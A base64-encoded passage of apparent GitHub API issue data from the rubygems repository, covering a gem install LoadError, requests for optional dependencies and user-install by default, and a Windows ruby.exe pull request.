YWVzcGlub3NhL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjoxMTIyMTksInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL2NhdGVnb3J5OiUyMGluc3RhbGwiLCJuYW1lIjoiY2F0ZWdvcnk6IGluc3RhbGwiLCJjb2xvciI6IjBiMDJlMSIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoyLCJjcmVhdGVkX2F0IjoiMjAxNS0xMi0yNVQwNDowMTo0M1oiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNC0yMlQyMjoxMDozNloiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6IkNPTlRSSUJVVE9SIiwiYm9keSI6IkknbSBpbnN0YWxsaW5nIHRoZSBkZXBfc2VsZWN0b3ItMS4wLjMgZ2VtIHdpdGggb25lIG9mIGl0cyBkZXBlbmRlbmNpZXMgZGVwLXNlbGVjdG9yLWxpYmdlY29kZS0xLjAuMiBpbiBhIHNlcGFyYXRlIEdFTV9QQVRILlxuXG5JIGdldCB0aGUgZm9sbG93aW5nIGVycm9yOlxuXG5gYGBcbkdFTV9QQVRIPS9kaXJlY3RvcnktYi13aXRoLWRlcC1zZWxlY3Rvci1saWJnZWNvZGUgR0VNX0hPTUU9L2RpcmVjdG9yeS1hIGdlbSBpbnN0YWxsIGRlcF9zZWxlY3RvclxuQ291bGQgbm90IGNyZWF0ZSBNYWtlZmlsZSBkdWUgdG8gc29tZSByZWFzb24sIHByb2JhYmx5IGxhY2sgb2YgbmVjZXNzYXJ5XG5saWJyYXJpZXMgYW5kL29yIGhlYWRlcnMuICBDaGVjayB0aGUgbWttZi5sb2cgZmlsZSBmb3IgbW9yZSBkZXRhaWxzLiAgWW91IG1heVxubmVlZCBjb25maWd1cmF0aW9uIG9wdGlvbnMuXG5cblByb3ZpZGVkIGNvbmZpZ3VyYXRpb24gb3B0aW9uczpcbiAgICAgICAgLS13aXRoLW9wdC1kaXJcbiAgICAgICAgLS13aXRob3V0LW9wdC1kaXJcbiAgICAgICAgLS13aXRoLW9wdC1pbmNsdWRlXG4gICAgICAgIC0td2l0aG91dC1vcHQtaW5jbHVkZT0ke29wdC1kaXJ9L2luY2x1ZGVcbiAgICAgICAgLS13aXRoLW9wdC1saWJcbiAgICAgICAgLS13aXRob3V0LW9wdC1saWI9JHtvcHQtZGlyfS9saWJcbiAgICAgICAgLS13aXRoLW1ha2UtcHJvZ1xuICAgICAgICAtLXdpdGhvdXQtbWFrZS1wcm9nXG4gICAgICAgIC0tc3JjZGlyPS5cbiAgICAgICAgLS1jdXJkaXJcbiAgICAgICAgLS1ydWJ5PS9uaXgvc3RvcmUvMmp4ZGxiMjhrZ2xqNGttaTRxMjdwZnpwNm42NjZuaTQtcnVieS0yLjIuMy1wMC9iaW4vJChSVUJZX0JBU0VfTkFNRSlcbi9uaXgvc3RvcmUvMmp4ZGxiMjhrZ2xqNGttaTRxMjdwZnpwNm42NjZuaTQtcnVieS0yLjIuMy1wMC9saWIvcnVieS8yLjIuMC9ydWJ5Z2Vtcy9jb3JlX2V4dC9rZXJuZWxfcmVxdWlyZS5yYjo1ODppbiBgcmVxdWlyZSc6IGNhbm5vdCBsb2FkIHN1Y2ggZmlsZSAtLSBkZXAtc2VsZWN0b3ItbGliZ2Vjb2RlIChMb2FkRXJyb3IpXG4gICAgICAgIGZyb20gL25peC9zdG9yZS8yanhkbGIyOGtnbGo0a21pNHEyN3BmenA2bjY2Nm5pNC1ydWJ5LTIuMi4zLXAwL2xpYi9ydWJ5LzIuMi4wL3J1YnlnZW1zL2NvcmVfZXh0L2tlcm5lbF9yZXF1aXJlLnJiOjU4OmluIGByZXF1aXJlJ1xuICAgICAgICBmcm9tIGV4dGNvbmYucmI6Mjc6aW4gYDxtYWluPidcbmBgYFxuXG5JIGFkZGVkIHNvbWUgZGVidWdnaW5nIGBydWJ5Z2Vtcy9jb3JlX2V4dC9rZXJuZWxfcmVxdWlyZS5yYmAgYW5kIGZvdW5kIHRoYXQgbXkgR0VNX1BBVEggaXMgYmVpbmcgc2V0IHRvIG51bGwuIEkgcHJpbnQgb3V0IGBHZW0ucGF0aGAgYXMgd2VsbCBhbmQgaXQgZG9lc24ndCBjb250YWluIHRoZSBwYXRoIGZvciBkZXAtc2VsZWN0b3ItbGliZ2Vjb2RlLlxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDA0IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0MDQvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0MDQvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQwNC9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQwNCIsImlkIjoxMjA5ODE0NTEsIm51bWJlciI6MTQwNCwidGl0bGUiOiJBZGQgYWRkX29wdGlvbmFsX2RlcGVuZGVuY3kgb3IgYWRkX3JlY29tbWVuZGVkX2RlcGVuZGVuY3kiLCJ1c2VyIjp7ImxvZ2luIjoic2hldmVnZW4iLCJpZCI6MTM3MjMsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNzIzP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NoZXZlZ2VuIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1MTQxMDMyLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBnZW0lMjBzcGVjIiwibmFtZSI6ImNhdGVnb3J5OiBnZW0gc3BlYyIsImNvbG9yIjoiMGIwMmUxIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjQ0MzMzNDE4MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY29udHJpYnV0aW9uOiUyMHVuY2xhaW1lZCIsIm5hbWUiOiJjb250cmlidXRpb246IHVuY2xhaW1lZCIsImNvbG9yIjoiREREREREIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoyLCJjcmVhdGVkX2F0IjoiMjAxNS0xMi0wOFQxMDo0NTozNFoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wMy0xMVQxODoxNTo1OFoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiQXMgZmFyIGFzIEkga25vdyAuZ2Vtc3BlYyBkb2VzIG5vdCBhbGxvdyB5b3UgdG8gc3BlY2lmeSBvcHRpb25hbCBkZXBlbmRlbmNpZXMgcmlnaHQgbm93LlxuXG5UaGVyZSBhcmUgZGVwZW5kZW5jaWVzIHRoYXQgbXVzdCBiZSBtZXQ7IGFuZCB0aGVuIHRoZXJlIGFyZSBkZXYtZGVwZW5kZW5jaWVzIGZvciBjcmVhdGluZyB0aGUgZ2VtLlxuXG5JIHdvdWxkIGxpa2UgdG8gYmUgYWJsZSB0byByZWNvbW1lbmQgZXh0cmEgXCJhZGQgb25zXCIsIGJ1dCB3aXRob3V0IHRoZW0gYmVpbmcgZm9yY2VkIG9udG8gdGhlIHVzZXIuXG5cbkkgY2hlY2sgZm9yIHRoZXNlIGluIG15IGNvZGUgYW55d2F5LlxuXG5JIGNhbiBwYXJ0aWFsbHkgd29ya2Fyb3VuZCBieSBtYWtpbmcgdXNlIG9mIC5wb3N0X2luc3RhbGxfbWVzc2FnZSBidXQgaWRlYWxseSBJIHdvdWxkIGFsc28gbGlrZSB0byBoYXZlIGFuIGFycmF5IHdoZXJlIEkgY2FuIGZyZWVseSBzcGVjaWZ5IG9wdGlvbmFsIGRlcGVuZGVuY2llcy5cblxuRmVlbCBmcmVlIHRvIGNsb3NlIHRoaXMgaWYgdGhpcyBpcyB1bndhbnRlZCBvciBpZiBJIG1pc3NlZCBzZWVpbmcgaXQuXG5cblRoYW5rcy5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQwMiIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDAyL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDAyL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0MDIvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNDAyIiwiaWQiOjEyMDU2NzIwMywibnVtYmVyIjoxNDAyLCJ0aXRsZSI6IkFzc3VtZSBydWJ5LmV4ZSB0byBiZSBhdmFpbGFibGUgYXMgZGVmaW5lZCBieSB0aGUgZW52aXJvbm1lbnQiLCJ1c2VyIjp7ImxvZ2luIjoic2xhY2tmYW4iLCJpZCI6OTkyMTg4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS85OTIxODg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2xhY2tmYW4iLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2xhY2tmYW4vc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zbGFja2Zhbi9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2xhY2tmYW4vZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NsYWNrZmFuL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDU3Mjg4NTEsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3BsYXRmb3JtOiUyMHdpbmRvd3MiLCJuYW1lIjoicGxhdGZvcm06IHdpbmRvd3MiLCJjb2xvciI6IjUzMTllNyIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjp7ImxvZ2luIjoiaW5kaXJlY3QiLCJpZCI6NzgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc4P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2luZGlyZWN0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiYXNzaWduZWVzIjpbeyJsb2dpbiI6ImluZGlyZWN0IiwiaWQiOjc4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS83OD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9pbmRpcmVjdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX1dLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoxNSwiY3JlYXRlZF9hdCI6IjIwMTUtMTItMDVUMTU6NTU6MzhaIiwidXBkYXRlZF9hdCI6IjIwMTctMTEtMTRUMjM6NDg6NTFaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJGSVJTVF9USU1FX0NPTlRSSUJVVE9SIiwicHVsbF9yZXF1ZXN0Ijp7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTQwMiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQwMiIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQwMi5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTQwMi5wYXRjaCJ9LCJib2R5IjoiVGhlIGJlaGF2aW9yIGludHJvZHVjZWQgd2l0aCBwdWxsIHJlcXVlc3QgIzk0MiB3aGVuIGNyZWF0aW5nIHRoZSB3aW5kb3dzXG5iYXRjaCBmaWxlIG9mIGEgcnVieSBnZW0gaGFzIHRoZSBkb3duc2lkZSB0aGF0IGl0IGlzIG5vIGxvbmdlciBlYXN5XG5wb3NzaWJsZSB0byB1c2UgYSBkaWZmZXJlbnQgKEopUnVieSBpbnN0YWxsYXRpb24gYnV0IHRoZSBzYW1lICVHRU1fSE9NRSVcbmRpcmVjdG9yeS4gIFRoaXMgaXMgZm9yIGV4YW1wbGUgbmVlZGVkIHdoZW4gZGlzdHJpYnV0aW5nIGFsbCBnZW1zXG5hdmFpbGFibGUgaW4gYSAlR0VNX0hPTUUlIGRpcmVjdG9yeSBhY2Nyb3NzIHZhcmlvdXMgaW5zdGFsbGF0aW9ucyB3aGljaFxubWF5IGhhdmUgZGlmZmVyZW50IFJ1YnkgaW5zdGFsbGF0aW9ucy5cblxuVGhlIHByb3Bvc2VkIGNoYW5nZXMgdHJpZXMgdG8gZml4IHRoZSBtZW50aW9uZWQgZmxhd3MgYnkgdXRpbGl6aW5nIHNldFxuZW52aXJvbm1lbnQgdmFyaWFibGVzLiBJdCBrZWVwcyB0aGUgZXhpc3RpbmcgYmVoYXZpb3IgaWYgbm8gZW52aXJvbm1lbnRcbnZhcmlhYmxlIGlzIHNldCBidXQgdXNlcyB0aGUgZW52aXJvbm1lbnQgdmFyaWFibGVzIGlmIHNldC5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTM5NCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzk0L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzk0L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzOTQvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzOTQiLCJpZCI6MTE4NDIxMDQzLCJudW1iZXIiOjEzOTQsInRpdGxlIjoiTWFrZSBydWJ5IGdlbSBpbnN0YWxsIHRvIHVzZXItaW5zdGFsbCBieSBkZWZhdWx0IiwidXNlciI6eyJsb2dpbiI6ImthbGxpc3RpNSIsImlkIjoxMDAxMTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEwMDExMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva2FsbGlzdGk1IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20va2FsbGlzdGk1IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva2FsbGlzdGk1L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2thbGxpc3RpNS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rYWxsaXN0aTUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2thbGxpc3RpNS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2thbGxpc3RpNS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2thbGxpc3RpNS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rYWxsaXN0aTUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rYWxsaXN0aTUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2thbGxpc3RpNS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjE5LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBpbnN0YWxsIiwibmFtZSI6ImNhdGVnb3J5OiBpbnN0YWxsIiwiY29sb3IiOiIwYjAyZTEiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTUyNTYzMiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBtYWpvciUyMGJ1bXAiLCJuYW1lIjoidHlwZTogbWFqb3IgYnVtcCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjksImNyZWF0ZWRfYXQiOiIyMDE1LTExLTIzVDE2OjQxOjI0WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTAxLTIzVDE3OjEwOjE2WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJUaGlzIGlzIHNwdW4gb2ZmIG9mIGh0dHBzOi8vYnVncy5ydWJ5LWxhbmcub3JnL2lzc3Vlcy8xMTczMVxuXG5JbnN0YWxsaW5nIGdlbSdzIHN5c3RlbS13aWRlIGRvZXNuJ3QgbWFrZSBzZW5zZSA5OSUgb2YgdGhlIHRpbWUuLi5cblxuTGludXggLS0gTmVlZCByb290IGFjY2VzcyB2aWEgc3Vkb1xuV2luZG93cyAtLSBOZWVkIGFkbWluaXN0cmF0b3Jcbk1heCBPUyBYIC0tIE5lZWQgcm9vdCBhY2Nlc3MgdmlhIHN1ZG9cbkhhaWt1IC0tIC9ib290L3N5c3RlbSByZWFkLW9ubHlcbmdlbSBjdXJyZW50bHkgaW5zdGFsbHMgZ2VtcyBzeXN0ZW0td2lkZSBieSBkZWZhdWx0XG5cblNpbmNlIHRoZSBtb3N0IGNvbW1vbiB1c2UtY2FzZSBpcyB0byBpbnN0YWxsIGdlbXMgZm9yIHlvdXIgb3duXG51c2VyLCB3aHkgZG9lc24ndCBnZW0gLS11c2VyLWRpcmVjdG9yeSBieSBkZWZhdWx0P1xuXG5Ub29scyBsaWtlIHJ2bSBhbHJlYWR5IHNldCB0aGlzIG1hbnVhbGx